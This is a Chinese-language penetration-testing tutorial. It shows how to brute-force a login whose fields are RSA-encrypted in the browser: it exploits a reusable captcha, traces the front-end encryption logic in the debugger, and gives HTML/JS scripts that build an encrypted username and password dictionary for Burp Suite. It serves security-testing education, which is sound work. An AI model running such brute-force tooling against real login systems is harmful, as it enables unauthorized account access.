一、導語
隨著時間的推移,安全也越來越被大家開始關注,隨之而來的就有各種內容加密,本文簡單對登入介面暴力破解時欄位被加密,如何處理加密內容進行暴破來進行一個簡單的分享。
二、正文
登入介面如下:

BP上代理,輸入賬號密碼驗證碼點選登入,檢視歷史記錄分析。

可以看到傳送了一個獲取驗證碼的請求,內容為base64的圖片和對應的key
繼續檢視登入驗證請求,進行分析

當圖片對應的key和字元正確時請求將會接受進行查詢。
但是驗證碼每次都是獨立獲取的,且響應中存在key值,我們只需呼叫重新整理驗證的請求,獲取key值和正確字元進行替換,那麼就可以保證每次請求的內容有效。
我們再輸入使用者名稱2進行抓包
驗證碼錯誤提示error

複製使用者2的資訊替換到之前使用者1的請求中重放。驗證碼依舊使用使用者1的。

驗證同一驗證碼可多次重複使用。
存在驗證碼重用的問題,但是請求加密了不能直接進行爆破。所以我們需要分析前端加密程式碼邏輯。
1.根據關鍵字快速定位加密欄位
開啟瀏覽器除錯模式,根據請求包的關鍵字在js指令碼中進行搜尋進幫助我們快速定位
定位到一個ajax請求

可以看到smsg的內容呼叫了rsa函式,加密內容為sMsgStr這個變數。
同時可以看到js資料夾下rsa.min.js檔案,根據命名檢視內容得知為rsa加密方法。
2.根據關鍵字快速定位加密規則
繼續搜尋關鍵字,追蹤變數 sMsgStr,可以看到為各欄位組合拼接內容。

那麼邏輯就很清晰了,我們只需獲取各欄位進行拼接,之後呼叫rsa函式加密即可。
3.根據加密規則獲取各欄位值
方法一:透過資料包獲取
直接在資料包中搜尋關鍵字端即可。
方法二:透過除錯獲取設定斷點
設定斷點

重新整理頁面,
輸入內容,點選登入
進行斷點除錯
這裡點選進入下一個斷點檢視值。
可以看到 authType 值為1

繼續除錯獲取其他欄位值
至此我們獲得了各欄位值
分析拼接規則,還呼叫了getLengthStr函式,繼續在js中依據關鍵字搜尋。
var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
+ getLengthStr(clientId) + username + password + responseType + clientId;//拼接規則
得到該函式內容

最後我們只需要呼叫rsa函式對拼接內容加密即可。
透過請求包獲取各欄位值,編寫驗證指令碼。
4.編寫測試指令碼驗證
<html>
<script src="https://www.test.com/js/rsa.min.js?ver=20220811"></script>
<script src="https://www.test.com/js/jquery-1.8.3.min.js?ver=20220811"></script>
<script>
var getLengthStr = function (str) {
var length = str.length;
if (length < 10) {
return '0' + length;
} else if (length < 100) {
return '' + length;
}
return '00';
};
var rsa = new RSAKey();
rsa.setPublic(window.UUAP_STATIC._encode_key, window.UUAP_STATIC._key_plus);
var authType = 1;//透過資料包或除錯獲取
var username = "test";//自定義使用者名稱
var password = '123qweASD@';//自定義密碼
var responseType = 'code';//透過資料包或除錯獲取
var clientId = 'uuapclient-465109485371793408-oKZZj';//透過資料包或除錯獲取
var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
+ getLengthStr(clientId) + username + password + responseType + clientId;//拼接規則
var okk = rsa.encrypt_b64(sMsgStr);//加密後的內容
document.write(encodeURIComponent(okk)+ "
"); //由於拼接內容有特殊符號,使用函式encodeURIComponent進行url編碼拼接,列印出來
</script>
</html>
將使用者名稱置空,測試加密內容是否正確

儲存為html檔案開啟。

複製加密內容到BP進行重放驗證,根據提示可知,驗證指令碼正確。

再次修改使用者名稱為test進行驗證,根據提示可知,驗證指令碼正確。

5.編寫指令碼批次生成字典
編寫指令碼批次輸出使用者名稱或密碼加密後內容
<html>
<script src="https://test.com/js/rsa.min.js?ver=20220811"></script>
<script src="https://test.com/js/jquery-1.8.3.min.js?ver=20220811"></script>
<script>
var getLengthStr = function (str) {
var length = str.length;
if (length < 10) {
return '0' + length;
} else if (length < 100) {
return '' + length;
}
return '00';
};
var rsa = new RSAKey();
rsa.setPublic(window.UUAP_STATIC._encode_key, window.UUAP_STATIC._key_plus);
var authType = 1;
var responseType = 'code';
var username = "test";
var password = '123qweASD@';
var responseType = 'code';
var clientId = 'uuapclient-465109485371793408-oKZZj';
var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
+ getLengthStr(clientId) + username + password + responseType + clientId;
var okk = rsa.encrypt_b64(sMsgStr);
//document.write(encodeURIComponent(okk)+ "
"); //由於拼接內容有特殊符號,使用函式encodeURIComponent進行url編碼拼接
var namelist = ["admin","chenxiuzhen"]; //替換使用者名稱列表
var passlist = ["passwd","Dandy123"]; //替換密碼列表
//輸出使用者名稱加密後的內容
for (var i=0;i<namelist.length;i++)
{
var username = namelist[i];
var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
+ getLengthStr(clientId) + username + password + responseType + clientId;
var okk = rsa.encrypt_b64(sMsgStr);
document.write((username)+"
");
document.write(encodeURIComponent(okk)+ "
");
}
//輸出密碼加密後的內容
for (var i=0;i<passlist.length;i++)
{
var password = passlist[i];
var sMsgStr = authType + getLengthStr(username) + getLengthStr(password) + getLengthStr(responseType)
+ getLengthStr(clientId) + username + password + responseType + clientId;
var okk = rsa.encrypt_b64(sMsgStr);
document.write((password)+"
");
document.write(encodeURIComponent(okk)+ "
");
}
</script>
</html>
效果圖:

輸出內容,複製貼上儲存為字典,最後根據字典使用BP進行爆破操作。

三、總結
整體內容並不複雜,相對正常測試加入了一部分前端分析除錯的內容,希望大家在安全測試過程中可以多抱著學習的態度,多點耐心和認真,早日成為安全專家。